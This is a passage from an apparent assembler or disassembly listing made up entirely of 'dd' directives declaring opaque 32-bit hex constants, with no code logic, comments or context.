9038D729h dd 0F3641B94h, 0EDD71733h, 0ECE23AA2h, 6798E099h, 1D473BDFh dd 0E7394418h, 8D3E3067h, 0AE55A6A9h, 91DA3E0Dh, 7C4A8F03h dd 8A526360h, 8847B14Ah, 3396768Ch, 0F9EC7D8Ah, 448C0CA5h dd 2E923D9Ah, 4E5C1E2Ah, 0BFCC6A7h, 232BE212h, 8E86A87Bh dd 0B16F548Ch, 648B457Bh, 0AD1B2BBEh, 0CAE7990h, 0F6595CFBh dd 0BE32573Dh, 7DB66CA4h, 3C73DE17h, 0E7B22A9Fh, 0AAF9C8D2h dd 0B540878Fh, 0AA60CD42h, 83C64DD9h, 0BFD8F9C1h, 0E7028F18h dd 1E34D78h, 0C95699FDh, 5F54FDB7h, 0BE85ED3Bh, 13EE704Fh dd 0D9BCFBFCh, 78773546h, 0C7A51FD3h, 0C6EE57D8h, 0EDF879D5h dd 9BE2EA91h, 0BB27775Ch, 0A75B0CDDh, 6888B57Ch, 3CAF5798h dd 7CDBA46Dh, 10E7B62Ch, 0F29D6C4Bh, 33816768h, 675D58EBh dd 0FFCF5FABh, 8EF4CD59h, 8C2A5353h, 0BD06B67Ah, 0FE28C089h dd 396538D5h, 0A71A6BC7h, 0CDBDF2AAh, 0AAA0FE7Eh, 7BB44B9Dh dd 1495C6EBh, 0EFF8F2DAh, 0EA6AD98Dh, 3DA5AA4Eh, 59E02966h dd 0C8BA5DAEh, 6D9A255Eh, 63BE50EBh, 0BAE2C6F9h, 6DCA6D73h dd 0AA9487F3h, 0BB08DE7Ah, 37CE642Fh, 0ADE59ECDh, 1D1E223Ah dd 0EE39B02Fh, 0E65F395h, 5D536AFFh, 0AA608FD0h, 0D7F84DD5h dd 92FFD289h, 0F1CE697Fh, 93D7F89Ah, 73CD3C3Ah, 719DB20Eh dd 1F87A57Ch, 0FFBFECE3h, 9CC8BF0Eh, 0DAD51076h, 0AE3457E6h dd 3C6508A5h, 7F06291Ch, 0A3CFF00Ah, 52D03DFBh, 645F239Eh dd 0C573DC0Eh, 0ED3D43D3h, 0DD3B444Ch, 0DF0EBAA8h, 0F5FFB2Dh dd 745B2527h, 8EE6D7A8h, 0DAE11AA5h, 656DB0EEh, 3F5B3D9Ch dd 4F263C12h, 0BFB1F6C9h, 3F60955Ch, 0C7DBEF17h, 0CB33A8B6h dd 0EC3319B1h, 0DB6E3EF5h, 585494DAh, 1556AF25h, 2A22C463h dd 0CFCBD964h, 0D6067197h, 38698B19h, 0A5AD8E4Fh, 1495F619h dd 6C7650DCh, 0EF7BDE15h, 0FBECBA2Eh, 253DE3CCh, 0C8543723h dd 0F7B431DAh, 0EBF5C05Dh, 37ED7D33h, 1E43B1E5h, 0DF8777C8h dd 8A9A767Dh, 0DBFAF973h, 0A69C6D7Fh, 3D75C8F9h, 5AEA18BFh dd 0D381E100h, 0AC8F20E3h, 0F10EA0C5h, 647C1D71h, 77E1C02Dh dd 0FB1EEA1Bh, 6BECC27Ah, 5BC158EFh, 0CEC1F1EFh, 71CE76F1h dd 0F9F1DAB6h, 0CEF6F1CEh, 9652AE71h, 7279BEDh, 0CA37E39Ch dd 79E76532h, 39B601AEh, 81E69A88h, 30A99360h, 0DF1DB8E7h dd 3933FDFAh, 1BD36CF5h, 0D6F448CEh, 0BC802EFEh, 0ED8660AFh dd 8E30D29Bh, 1CA8291Eh, 0BB415DF9h, 707BFE6Ch, 0C7BF2354h dd 5188123Dh, 2F36DB77h, 0AF5FD1DFh, 0DADAE4C6h, 98D9EFF5h dd 50777E5Ah, 8C796DDDh, 15AF51C3h, 9FEB64EDh, 0DA64DAC7h dd 67DA172Dh, 22E058F5h, 43A457DBh, 24D63CFEh, 57AAC7C3h dd 7CDD4FB5h, 4E3DC63Ch, 0C9A589BFh, 6855A8ACh, 0CF8F72DBh dd 5E42F4ADh, 6386904Fh, 0BA5F3669h, 9559B355h, 86F7AB65h dd 738A5FB4h, 7A4A768Fh, 58E45FCFh, 6F4FB748h, 0DAE60E89h dd 7EF6A579h, 540F0ABFh, 0D1CD0F79h, 0C77F7F42h, 8C275E6h dd 36115304h, 0D3423ACFh, 0AAECEAFFh, 8F386DFDh, 9C6478ECh dd 59C896F0h, 54AC5F47h, 0B764B6D1h, 576DDB4Dh, 156A1DF7h dd 0B28A5CBBh, 552E9DA4h, 0D6479730h, 3AC73AB7h, 0F37EB239h dd 0C9AAA4ABh, 0B2D9C42h, 5906E3Dh, 0E36D7D97h, 0C4FFBC2Ah dd 0DCF6518Ah, 0FC77CC45h, 2A1F2F92h, 0A4CDD9EDh, 0AE20E5C2h dd 0AFD66AECh, 0AB8B4C72h, 0B512B8F4h, 0F2DBB377h, 0B6D963F5h dd 0A8E47904h, 0D754C312h, 0D157710h, 58E05571h, 0AB13D232h dd 9EF546C8h, 0AB6D33FFh, 12B5BF7Eh, 195444BBh, 0C6E40C93h dd 9DC24C63h, 5AE7F931h, 5EF75BECh, 7E4D6EBBh, 113ED7D4h dd 4FB1E19Bh, 0FFD354D9h, 3C827D8Ah, 9223B6D4h, 0C23EE720h dd 0A9958A8Ch, 0F02D8EB9h, 4523C870h, 0BFEA7EBEh, 36D11FBBh dd 841C0B8Fh, 0FE5ADD59h, 507F9FF7h, 7F89C945h, 9CFF85C1h dd 8E3787Eh, 379094CFh, 0C6AFF88Eh, 0B537B10Dh, 66A76EBEh dd 0A0C6BD9Ah, 0DFFDE5AAh, 0FEDDF1C1h, 71BEE589h, 154443ADh dd 89DFFB3Bh, 9E9FC1FBh, 0E068FE1Eh, 2DD51065h, 38CB12B0h dd 39EF9F7Ch, 1D0FB64Eh, 0CEEFFEAEh, 1FF9DC7Fh, 5511FF3Ch dd 0E545FCE3h, 0BFCF47FCh, 0FC48BF98h, 8917F327h, 45FCE2FFh dd 0FE717FE2h, 0F3A6FC22h, 91F8E117h, 0BB2E5D1Bh, 6F289EAFh dd 36D35517h, 0D3F0A3CDh, 0F21279A6h, 5DAEC40Fh, 9C9290BBh dd 627FF6EBh, 0FC84EC1Ah, 0AFBF6EBBh, 37BBFA8Ah, 0F0E785D2h dd 7DBF147Bh, 0E05FF900h, 0CEE10177h, 0E2913BA5h, 34042A77h dd 0C0AF984h, 598275D9h, 30EFC7EFh, 1CA0FF7Eh, 0A491874Bh dd 6D434342h, 5819912Eh, 37F91ABFh, 0FE53FFEDh, 81AEFEF9h dd 0B7C05777h, 85DBE04Bh, 0B23F95DAh, 71C9F24Fh, 0F237F2DFh dd 0FE46BFCFh, 0E46FFAEDh, 6F67005Fh, 0DB9FC054h, 542BDB1h dd 0DD7642FCh, 0FEDBEF35h, 0B28A17E8h, 7D94D1ABh, 7F2FF123h dd 0F0279445h, 0E5FB2892h, 488CE471h, 0A78AE177h, 0BD43F4D5h dd 37DDE05Dh, 7DFD54DFh, 0D3C0FB9h, 8DE8C8F1h, 0BFF80BFCh dd 4F3ABFCCh, 7E2C453Dh, 5FAEE79Dh, 513E63FFh, 0A8206BA6h dd 7F39243Ah, 8F1D7E7Dh, 0DCFF9EE3h, 0FF9C9235h, 3ECF39E3h dd 5C842F49h, 73C7F6BFh, 0A05FAFE7h, 0F5A4FB3Ch, 0A8E53C3Fh dd 0ECF5BC3Fh, 9F5DAE76h, 0DCD1768Fh, 71E7951Fh, 70784BCEh dd 15DA3C0Ah, 1AB7C950h, 4E39D2AFh, 373A92CAh, 0FFE05FE7h dd 710BFC73h, 6BFCEDF6h, 0F846BD24h, 0DFE1C177h, 177F8705h dd 0F85DFE1Ch, 0AD5FE5EFh dd 51FE60FFh, 9D767295h, 0FE155DC8h, 77F8775Dh, 0DFDFE1DDh dd 0FDB77F24h, 710BFC6Dh, 0F0E217F8h, 5FE1C42Fh, 10BFC388h dd 6E42FE47h, 21FF7F2Eh, 9FFDABFCh, 57947F29h, 0FEAF297Fh dd 0FC99FF52h, 0E4CFFA0Bh, 7FB53FDFh, 276A4124h, 0DFC85FE0h dd 0D43ABFC5h, 76D6EDADh, 0DDB5BB6Bh, 0B76D6EDAh, 0ADDB5BB6h dd 6B76D6EDh, 10D90FFBh, 9B7590D4h, 0CC43CC41h, 0E659CCA7h dd 0A258B236h, 90E54527h, 8ECC1D84h, 0FB3A760h, 57D98BB2h dd 1F6C4BD9h, 0E04FCDCEh, 89CE16EFh, 0C645B46Bh, 0A31EC64Bh dd 5CCCB995h, 0AB9B9661h, 26E6F5CDh, 0C3B98B73h, 31EE65DCh dd 0CD079BF7h, 0F351E623h, 7999F9B8h, 9E633CCAh, 1799CF35h dd 25E68BCCh, 59498AF3h, 55905681h, 4B250ACFh, 0FB291268h dd 0B9ADB1FBh, 0DC89CCEh, 52B80AE0h, 9EE7EEEh, 3D6E65EEh dd 886FF067h, 0E283C47Bh, 0D4A3B131h, 5B968A57h, 0D34D751Bh dd 0D57CCC7Ch, 0AE968C3Ch, 10AC759Ah, 0CAD5A9ABh, 5986B70Ah dd 5ECA28D4h, 17D32B2Bh, 0C70CD6E8h, 996B3194h, 0B63D4C9Dh dd 77B2AB3Dh, 43ECC5B1h, 76ECF3ECh, 23B613F6h, 0CF9B9937h dd 0BCB1C57Dh, 9FE42FC2h, 3FF10FE1h, 0EBF897F2h, 920B07Ch dd 0E12CC219h, 0F0916111h, 0F85DB0B2h, 85DF859h, 6D8A9B11h dd 9A62FEC5h, 407C4538h, 233E2F9Ch, 89AF13AEh, 0EA45A44Dh dd 7989B512h, 0CDDCCE1Bh, 0ADB2B28Ah, 0EB0BEB72h, 2296B93Ch dd 1C4F5ECAh, 0DBA03748h, 3474E1D0h, 0D1A7489Dh, 0FA14F479h dd 0FA35FA59h, 0DA57FA5Dh, 0B4C2698Fh, 0DB307A62h, 33993798h dd 10F67CCCh, 88B730FBh, 0CABDC55Bh, 0F913E575h, 0BC25F9C7h dd 9A2DDE28h, 0A652B44Ah, 557E509Ch, 8D565482h, 0E9AB0757h dd 493A816Ah, 0A79D5FBDh, 0ABB751AEh, 0DA25AA7Fh, 7E825AABh dd 4E0D6F55h, 0B99C7653h, 338B0918h, 0D147A10Eh, 7A04F4F9h dd 0BD0CFD3Eh, 0EF41DE9Ah, 9FD20FA6h, 41D39FD0h, 0F746084Ch dd 0DB1DA665h, 67652D85h, 0E9B18FB1h, 8EB7395Ch, 0E11FE52Bh dd 4241F2F7h, 9A0BC088h, 0C4E446D0h, 0E936E29Eh, 0E913E943h dd 365FC91Bh, 0AC4A3AE5h, 2914AA92h, 0AD68957Bh, 569EF6BFh dd 0F7AB6F57h, 5CF5D3D1h, 80FEA67Dh, 0A03F5ABEh, 1B3A3537h dd 6318C6F1h, 7180F18Ah, 6B942310h, 369F36CEh, 217E91D7h dd 0D2472C96h, 3CCBE986h, 0DF65AEC7h, 6B627F61h, 8D38AD73h dd 7146E38Bh, 0F434DC25h, 903F2DA0h, 0E19FCE9Fh, 0D0A0E139h dd 35246C56h, 6CA41297h, 41B2A169h, 0A6394D79h, 0A6FCA97Ch dd 552EA9F8h, 0D3AB8757h, 21EA65D5h, 0A61A9CF5h, 2D50DAF1h dd 6DA39B5Fh, 1F6A0ED4h, 37AFE6Bh, 44BE807Dh, 44FF5D7Fh dd 53FF45FFh, 3128CBBFh, 305E349Eh, 19BF1876h, 334B667Eh dd 0A733CCC5h, 0B5CC0B98h, 3366F7E6h, 0CFD59DABh, 5A86B64Ah dd 0D605AD53h, 0F580EB76h, 0A2DA7589h, 14759196h, 32D34514h dd 0CFE8FBDh, 6990D4E3h, 46650CC6h, 0E9989331h, 932622CCh dd 67CECD9Dh, 0B8E7B84Bh, 0DC97DC35h, 0CE65DCF7h, 87CBAF8Fh dd 9979DDF1h, 14B4286Fh, 30B06168h, 1C265856h, 9A10FE11h dd 0CEC52D8Ah, 4B316F62h, 577C587Ch, 42FC50FCh, 281C46FCh dd 4B8F4965h, 25974BCFh, 0B725AE4Ah, 83CBBB90h, 0A6651CE5h dd 52B2A0F2h, 0A6FDAC3Bh, 74DDEA85h, 2FAF9F56h, 1FE9D7D7h dd 0EFF5A7EAh, 588C3BF5h, 81F1AC63h, 0DC7ADA31h, 0D6A2D67Ah dd 0F6AE47Bh, 0B89593B3h, 9C83B817h, 9FCF7FC0h, 0D3CBC694h dd 62F279E5h, 80F959F9h, 56FE587Ch, 5034A5AEh, 944B29BAh dd 0EA5994B7h, 7A977572h, 0B5AC6D5Ah, 0ADCD4CD5h, 6BF6D32Dh dd 7A96F54Dh, 23D45D47h, 2CFAA1F5h, 7D1ADD8Ch, 0BF47BEA3h dd 718898DDh, 6A7C69DBh, 0ACB35804h, 0D6BDAD57h, 0EB29D6FBh dd 9127F59Ch, 0B5145DE7h, 0BA6D4910h, 0A68EDD29h, 3A749EE9h dd 0FD237924h, 0BE9A7D36h, 0DD320746h, 5E99E19h, 4E62AD2Eh dd 0DED01132h, 0D0A3DC39h, 185CB5DCh, 5D3F05FFh, 41F85C78h dd 91EE2DA8h, 7954957Eh, 5039FA1Ah, 503E51C9h, 0D442513Eh dd 3EA0AACEh, 0CED2D6A1h, 523E9C6Bh, 0D1EFD0CFh, 0D65FD3EFh dd 0D53FD0DFh, 0C6668C83h, 71BA6310h, 31B4F1BFh, 0DE619CD5h dd 0BE83CE6Fh, 0F3E613Fh, 0F99AF2FBh, 23A9913Ah, 0C9167514h dd 0D30DBA66h, 1CCB9981h, 74D8E260h, 0F63ACE8Ch, 0DABA418h dd 0B9BD7067h, 0B7186E78h, 0CCD8FD1Ch, 0E71DCBBDh, 0E0B5C1FEh dd 817F794Bh, 30A7A11h, 0A1421185h, 56784930h, 866C2F58h dd 6E87D796h, 0C4B38817h, 0E255C5A7h, 0F135F16Ah, 0BC5E7888h dd 5E30E243h, 0A467A573h, 487FA5B7h, 0B96B7281h, 0DF219CBFh dd 0AF243F27h, 6FCA7790h, 0CFE547C9h, 0ABE59FE4h, 854B76E0h dd 0FD2A7A53h, 4A051FA1h, 0E952B289h, 16D28DA4h, 0D1F5836Ah dd 0FD01EEE0h, 0BEB9FEA8h, 3667A8C1h, 0AD9A9B30h, 985686CCh dd 0ADA2D5D5h, 758A56BEh, 156395B7h, 39AC535Bh, 69EB7CD6h dd 0D6B5856Bh, 69BD62DAh, 818EB41Dh, 3F58DFF3h, 575ABF5Ah dd 6C14EA2Ch, 5453FAFh, 4D6175D0h, 0D277D39Ah, 34EEE91Dh dd 14746B4Fh, 32BB071Dh, 0CE9BBE98h, 0D3716D84h, 0F4E9E893h dd 0FA51FA5Ch, 0ACD8C09h, 3B7A65FAh, 0F8D6D47Dh, 0F4B3E92Fh dd 0BA55F40Fh, 6980D336h, 60F55E09h, 0E99A2614h, 0D2660CCFh dd 294C3198h, 0F31F73h, 167980B3h, 0D981B7A3h, 0E65ECCEh dd 5F309F33h, 0BF303F32h, 0EDEC7E33h, 4EF6136Ch, 0B1CB33B6h dd 0EC326CD1h, 963B3667h, 782D0C9Dh, 7D8E7D94h, 7D857D91h dd 7EC7DD9Dh, 8E037ECCh, 0E2D6C9FFh, 613BB842h, 0F79B39BDh dd 5CE1B903h, 4DC85726h, 0F7266E4h, 0CF724F73h, 0E66F92C3h dd 70F6E0DEh, 0B8E770DFh, 0B93FB89Fh, 0DF087C5Ah, 0ED076F82h dd 0BE48F891h, 8FCA9F1Fh, 377973E4h, 9FBF953Fh, 0B9160C7Fh dd 6FC75F8Ch, 6582DFE5h, 0D3F98FEh, 0D615FF39h, 48D08EB9h dd 0C2742D68h, 0AC426A18h, 2A184030h, 0C2F90BA4h, 0E17EE154h dd 0A119E131h, 6C27584Ch, 0E12DE15h, 0A70B1F09h, 3F85EF85h dd 88625A85h, 90F42778h, 0E2E80D13h, 38B87140h, 3E2C9C46h dd 265E0B04h, 10DF166Eh, 4F33400Fh, 57883F8Ah, 3352FAC5h dd 55D4ADA9h, 1A4B2412h, 26928D22h, 47A5D34Ah, 0A5A527A5h dd 2DE94ED2h, 0A52FC158h, 25DFA41Fh, 0B976F93Fh, 0DCA77C89h dd 4364E659h, 0C9FB918Eh, 7950F249h, 172D9C94h, 14F2A5C8h dd 0A0FCA679h, 0F13418FCh, 0BCA57939h, 6F24DE46h, 4E84DF97h dd 963F911Eh, 92BF973Fh, 0C8BFC9CFh, 253F6597h, 3A510948h dd 2794B328h, 9B657294h, 5CF95072h, 0A5A945F9h, 354F6A2Ah dd 9F57CD45h, 5F505F52h, 1FAB3754h, 0BFA9DFA9h, 3F5AB1AAh dd 0B776B06Dh, 0A09B4636h, 68AF6B95h, 0B4B7B4DBh, 0DA23B477h dd 5A37DA27h, 0FEB87D47h, 0BE8AFE92h, 0FF40FF4Dh, 2C606F55h dd 30B4B680h, 612399BBh, 6199B775h, 976B38D6h, 5F805D45h dd 7476F325h, 4745DA1Dh, 0D145B2C0h, 0FA44F4C5h, 321CBA29h dd 67B4C811h, 263898A2h, 0BCC11995h, 1B67D4C8h, 0B06B22B3h dd 0D0E5B24Fh, 2FD80FA3h, 0EFD9AFD8h, 9FD91FD8h, 0CBD8DFD9h dd 9FD635ECh, 0CBAB8DBBh, 0B90D7305h, 5C1DDCA6h, 4EF581Bh dd 3BE31F2Eh, 7DC25B9Fh, 84D87B0Ch, 0F027C56Fh, 634FF20Fh dd 0BBF036ECh, 0A7FC23F8h, 0F8DFB718h, 420684DBh, 4B475857h dd 0CBBD07E8h, 1615EE17h, 37852B0Ah, 59C26384h, 6286CA58h dd 1C5A317Bh, 5C631621h dd 0DD67849Eh, 5E2A7E2Fh, 2248DB14h, 8C18C03Ch, 76D2E3C3h dd 44292BE9h, 72B32B6Eh, 0E72E9CB4h, 0C2D0F9C8h, 0F2F3F2F9h dd 0CF0B5B46h, 0EBE497C9h, 0DEE84B72h, 72A2E56Eh, 5556DA9Bh dd 94F061D5h, 5497D573h, 0D35DD697h, 0AC6D68B5h, 0ADDB40B6h dd 0EBBAD09Dh, 0FAB5F54Bh, 9EAF7D16h, 0BC683C6Fh, 9C627C63h dd 0E71ACE32h, 2D466B8Dh, 639A873h, 581025F6h, 16359FA2h dd 5AC8B95Ah, 0D0782B03h, 991485A3h, 0F7CF24CBh, 0E867D305h dd 0EB15406Eh, 6C411DA1h, 4AC5D673h, 0C4E82F6Ch, 0F72B765Eh dd 5719F726h, 0B4622807h, 0BEF092F0h, 2FE423F0h, 5A21EC4Ch dd 971D2F22h, 4BCE90BEh, 0E5DD49BFh, 895A641Fh, 8329FA51h dd 4C95BB95h, 4132AC65h, 48794FB9h, 0AC595C79h, 845E572Ch dd 5D53BBB7h, 88F62AA0h, 0D5DED7CFh, 377C625Ah, 3FF527E8h dd 37460EF4h, 0DE78C323h, 3820CAF8h, 2F228FCDh, 1CC4EEEAh dd 85737700h, 8F2CB246h, 43E65706h, 6BC956F2h, 4FE50FE5h dd 3DE5EFE5h, 2DF576CAh, 697AD695h, 8D16DA69h, 9F51F972h dd 2E774EA1h, 0DCE2CB91h, 0D2B0BDDCh, 2F4AC08Fh, 42C256E5h dd 0E4EDCABEh, 0C30EE6DEh, 7E869E4Ah, 42EAE55Eh, 62F9132Bh dd 2FF017Eh, 0FE55F0B4h, 5EF1C630h, 0E6F861E1h, 42EB859Fh dd 3893B10Bh, 6874C4Ch, 8A8F12EDh, 0E1D5F07Eh, 36640292h dd 3A477A40h, 4DCA8529h, 1A3D0665h, 1F91CF23h, 0FFC97796h dd 0DB96BF90h, 20CA5128h, 5EF954A5h, 5634ACB9h, 0A977A85Bh dd 6B4EC0C5h, 54DE6181h, 0B475A82Fh, 76BC5A8Eh, 6B899697h dd 0A5DB467Eh, 68BA051Dh, 58F4BBACh, 5EBEAC7Dh, 1A7A370Fh dd 460DE0FDh, 8B606E19h, 21878DFBh, 0CB1ACFE7h, 7AC6558Dh dd 6E51B363h, 0DA28B31Eh, 8C820A8Fh, 0BD0CD387h, 0CCC56E94h dd 0AB305663h, 7399AF99h, 25CC4FCCh, 82D31AE6h, 0EC7ED855h dd 6E25EE52h, 0BB8A771Fh, 0C1F9378Dh, 0CD2C1E7Ch, 3F067E44h dd 81B8570Fh, 0C03F837Fh, 29FC87Fh, 0A1F2AF37h, 6C5D30B0h dd 484BD30Bh, 138EB482h, 0A76115Eh, 0FE4F6187h, 24E93200h dd 8AE714CEh, 297D5241h, 1E902A57h, 4F4A1696h, 6AD2654Bh dd 876915E9h, 4F7A47B4h, 938A56FAh, 6CA7E573h, 0D0AFAFBDh dd 0CA59DF18h, 0CA0BCA63h, 0E55DE54Eh, 55CC5034h, 55077F5Ch dd 0C9020754h, 7B8E06CDh, 9C127D4Ch, 0D7D4978h, 6D5FB563h dd 0B46B85ADh, 854DA716h, 0DDAEFF76h, 0BBD337AEh, 0A31E86EBh dd 0D6EFD3F7h, 0E71DE133h, 358CABE8h, 0C6B3EAB8h, 19BAF369h dd 0CD5B0564h, 5BC5972Dh, 644B159Ah, 751FA7B4h, 7A57490Eh dd 1E9C3D00h, 4F43DF4Dh, 13C167A5h, 0EFDD83D4h, 802F2D08h dd 39907FB5h, 77B104C5h, 858043B0h, 606BB2A7h, 0EFB1B7C3h dd 0D3D827B1h, 75ECB7ECh, 0F4E836F6h, 9ED5808h, 701FD3B0h dd 0B867709Fh, 5C1FDC0Bh, 3BE9D803h, 0A0E30F21h, 0E7F36FD3h dd 5F42DDF9h, 51D4ADB1h, 5C0E011Ah, 53CAC692h, 0CBAFD5E1h dd 45474A81h, 0F417A53h, 28AF2BC7h, 354494A7h, 58785715h dd 6906AA3Dh, 5A1DDAC1h, 0D6CF2D7Bh, 65ED32C3h, 27ED03EDh dd 0A3AF402Dh, 0E95BD137h, 9F483EBCh, 5DB6B88h, 1F4EFCADh dd 0D8C48C6Ch, 16CC04BEh, 0FB36B66Ch, 369DB101h, 0D656807Fh dd 3AE13AB5h, 81C758F7h, 0E3B57FB0h, 9798CF05h, 0A16EE102h dd 7BFA23Fh, 8CF6912h, 0B331E4Ch, 0E075F6E8h, 60F02381h dd 0EDF63157h, 5FF0EED9h, 165C88F1h, 9DD95BB2h, 7DF641ECh dd 0AE3F2BF8h, 6B9AD73Eh, 5E0375C7h, 48520689h, 0A37086E6h dd 0D1A06CB9h, 878CD089h, 62DC05B8h, 95B7196Eh, 0E01DCDDBh dd 0E37EE7DEh, 0AE03425Ah, 910A77F3h, 84078890h, 0D053C205h dd 0E7C263F1h, 0AC4A72D0h, 3A91D62Fh, 38A4DD49h, 1834A069h dd 2A5F2198h, 0B34AA691h, 55D1FF6Dh, 0C041E5A6h, 3E00B0Ch dd 0E529927Eh, 4C524576h, 0C32B7A5h, 0FD59D0D2h, 0F6A6BD4Dh dd 0C99BFB36h, 6699D9B0h, 3ACE3011h, 0D3B9B373h, 0D2D10F7Ch dd 65F75C19h, 0A3A22EB3h, 0BA6C88D6h, 6519B623h, 366B24Dh dd 0AD653EAFh, 0CEB3DEB4h, 86FC2102h, 0CA8FC778h, 61467723h dd 0BEC23BDDh, 0E9B3A20Fh, 0D7DB60E7h, 0A61FFFC1h, 0FE2F814Fh dd 0DA6234Ch, 0FE3619D3h, 0B30E662Eh, 7CC3598Ch, 50CCFCCEh dd 0B34B086Ch, 3B3E6C19h, 9D8FBD91h, 2DF37B63h, 0C24E7736h dd 2C7187DEh, 5C5170A7h, 0C18B581Fh, 0F2B05DDCh, 0E107B8D3h dd 0BEE25FC5h, 0C6FC4485h, 20CDF105h, 45A1BD11h, 61B3F1F7h dd 6223E7F1h, 0C8BFCE59h, 0F277E7AFh, 0C01FF2EFh, 7D42535Fh dd 0ED0B1A1h, 5024F43Ah, 75E106D6h, 4BE103E1h, 0ABF082E1h dd 20EC52D0h, 0A31FB0AAh, 0FCD81CC5h, 0C5FBC57Bh, 0C517C4C7h dd 0EFC6F04Dh, 0FF8BEF88h, 2F13BF10h, 30A54D88h, 0C0329789h dd 0C3C047C9h, 0D2BBD275h, 0E953E951h, 0ED82E96Bh, 7E831F81h dd 945F952Dh, 0B4B2C1F7h, 42945255h, 5834DC48h, 5D61F7D0h dd 84A20EAh, 46353957h, 0C9F4834Dh, 0D2D840DAh, 5D3B5A89h dd 45A0A3D0h, 0F58FF4C3h, 0A348F49Fh, 0DC6D91B7h, 1633CC6Bh dd 64BC92C2h, 0BBDC06BCh, 6F0A38CFh, 1194D2D0h, 96693CB7h dd 1F9AEF99h, 2D4DFB82h, 33ECB80Eh, 0AE274BEBh, 86A623F3h dd 0A72F4A5Ah, 0C24FA1DFh, 742FC13h, 1699F530h, 132AA2F0h dd 4B0024C9h, 0B0DF013Dh, 2404D99Ah, 0B1631EF5h, 682CD883h dd 4BEC03D9h, 2DF626ECh, 68BC02F6h, 97246E1Dh, 0E1AE6E07h dd 1EF71B6h, 8F0AFD09h, 0F81781D1h, 3F107E18h, 3F997F9Ah dd 33F42B0Ah, 72FE1ADFh, 184830A0h, 0CA172C2Fh, 0DAE00385h dd 6C15A165h, 1B311F4Fh, 7121F538h, 0F882F891h, 804B701Eh dd 0EEA46D4h, 4FC1E53Eh, 0CDC4834Eh, 4B481693h, 2BC055A4h dd 446372FEh, 6E640A18h, 7BB6A238h, 0A5C0F995h, 0CA939407h dd 6035CA57h, 4B6A268Dh, 193A97B5h, 0F55EE491h, 7AD55573h dd 1AF83223h, 0B49793Ah, 557583D2h, 0D5EFD62Fh, 8A578077h dd 0CE78CBD1h, 0D5F8DCF8h, 988663A8h, 54DE4DCDh, 0CDB94711h dd 0E623E6B9h, 0F325F342h, 6FF02200h, 0CD119FCDh, 5BDAB1B7h dd 8ADD2C5Dh, 603E9487h, 0DC4F12Dh, 1928FCD3h, 0E7421AFCh dd 39E8D3D0h, 0BF4D3F4h, 15FA1AF4h, 887D2B7Ah, 23E81DFEh dd 0CCAE988h, 0F9334667h, 32374888h, 903D995Bh, 26981FCCh dd 0B196C9ACh, 0D90FD9BBh, 5C0ED8AFh, 47C8A07Fh, 1DB8A7B8h dd 0A51E051Ch, 42F9C3F2h, 0A1D821FEh, 80EFF88Fh, 5500BA2Bh dd 0A66128Ch, 5F8BA1BBh, 7509BF0Bh, 5C6266C4h, 0A5BCA05h dd 6C427F2Ch, 334A452Eh, 5D526DA5h, 693E0A39h, 581E7CA1h dd 0EE94C21h, 3297755Bh, 0B6781E06h, 0ACD94AB2h, 830E576Ch dd 94285F3Bh, 0A21A9B7Ah, 99148536h, 117568EAh, 2AABF3F8h dd 22B53D68h, 56B6B26Dh, 0ACFDAADBh, 2F16C385h, 1BD1DFD4h dd 89E0C31Ah, 236F1976h, 7100FDDAh, 25C60FD3h, 0CC4DBD44h dd 0C668A6AEh, 52CCC39Bh, 9CF99673h, 15B9B2F9h, 0E607F9B1h dd 0BF9D4449h, 6882E8D9h, 5A4568B3h, 39D1A003h, 6E9ADB96h dd 2FFA03CDh, 36FA1443h, 0C23BED24h, 0F67EF9B7h, 81FCDF1Bh dd 0B1033BF8h, 0D047A7F5h, 45C1C163h, 0EE7006F4h, 0BA67FA5Bh dd 0AD0C1316h, 98B8C16Eh, 33114C4Eh, 2CC19985h, 0D9B0BA67h dd 33BE335Ch, 0EC9E193Fh, 91003E57h, 0ADA14B7Ch, 856059D0h dd 0E3A5C478h, 0A3C21984h, 6DE112C2h, 844FF0F8h, 4D5AB08Bh dd 30F130C5h, 7ECA0D22h dd 3F12C349h, 6D18C6Fh, 2DA14476h, 429D17BAh, 0E8D3A50Fh dd 0F4FDF431h, 7A62F4C3h, 560ABD19h, 0EE5B23E5h, 994DD12Fh dd 24468630h, 86F4C511h, 0C33327DCh, 0BDB09198h, 9075990Bh dd 655640FCh, 88FED923h, 62214618h, 0B5EF6628h, 0D897E6E3h dd 77D518F5h, 607F2A80h, 0B94DB22Fh, 0BDBCB00Eh, 94A138ECh dd 0E74DCC9Bh, 419EE71Eh, 310AB094h, 9E7801C2h, 763D11CFh dd 0E2DE15E6h, 377F0FBh, 0E7E14C89h, 88BF57C0h, 0FF30E088h dd 40B1D95h, 0D10F50Ah, 0B8710944h, 1B8211BAh, 0B08D72A8h dd 29DCB111h, 0E2669460h, 0B0CBE2F3h, 47435F25h, 936F137Eh dd 87EE8182h, 7CD24548h, 59E909E9h, 40AD93D8h, 0A221F2Ah dd 93372DAFh, 33CD00DBh, 0F249F340h, 2E4D3930h, 0C701C794h dd 951F92CFh, 6CC2C117h, 213CBE00h, 0A8C4A73Fh, 0BA0521ABh dd 0AB69CF6h, 0DAC7FA91h, 0FC1CED19h, 4B6855F3h, 0AE94E033h dd 32EB06BAh, 0D1B7CF4Ch, 59FA5BDAh, 1A21BEBDh, 0F46911BAh dd 0B31B8637h, 371E6761h, 323E345Eh, 6E864818h, 99A7344Eh dd 60CB98CFh, 0BB9AB7E9h, 47E683CDh, 8AF379E6h, 0DE5F0FE9h dd 64808AD9h, 1506840Ch, 695C2222h, 4824411Dh, 0EF23F7ADh dd 0D1EAA0CCh, 0BA30E8CDh, 0D1D22D13h, 0BA749718h, 13DEF110h dd 7A4412F4h, 0E837E99Bh, 0B68F18CBh, 66374Ch, 0E661E9F4h dd 9B72C479h, 41CCDD98h, 0A0A023E6h, 305E19Fh, 80435580h dd 0B1B03B55h, 5B2E6Ch, 7D973ABCh, 7A167D98h, 8DD9AB6h dd 0FD87B8AFh, 32FF480Ch, 2DC8801Bh, 7B051B85h, 300C0C5Fh dd 5B9A7B9Dh, 1D7F7B0Dh, 0C629BEF6h, 963F3862h, 822FC09Fh dd 0BFCEDA95h, 0FFC27FC3h, 0DA13D7C2h, 0AA7D303h, 935F20C3h dd 1CC26985h, 43B08561h, 0F3B6D6F8h, 22C3D0E1h, 0E2E3E168h dd 0EBC58C32h, 0F02B8918h, 4FC07793h, 8C6F529Ah, 0A7A068C6h dd 10E7A527h, 0B528FD59h, 5165C395h, 9D8A044Eh, 88F8D40Ah dd 0A82224FCh, 0F97EF20Dh, 0B91BF923h, 712AC285h, 0E63C324Ah dd 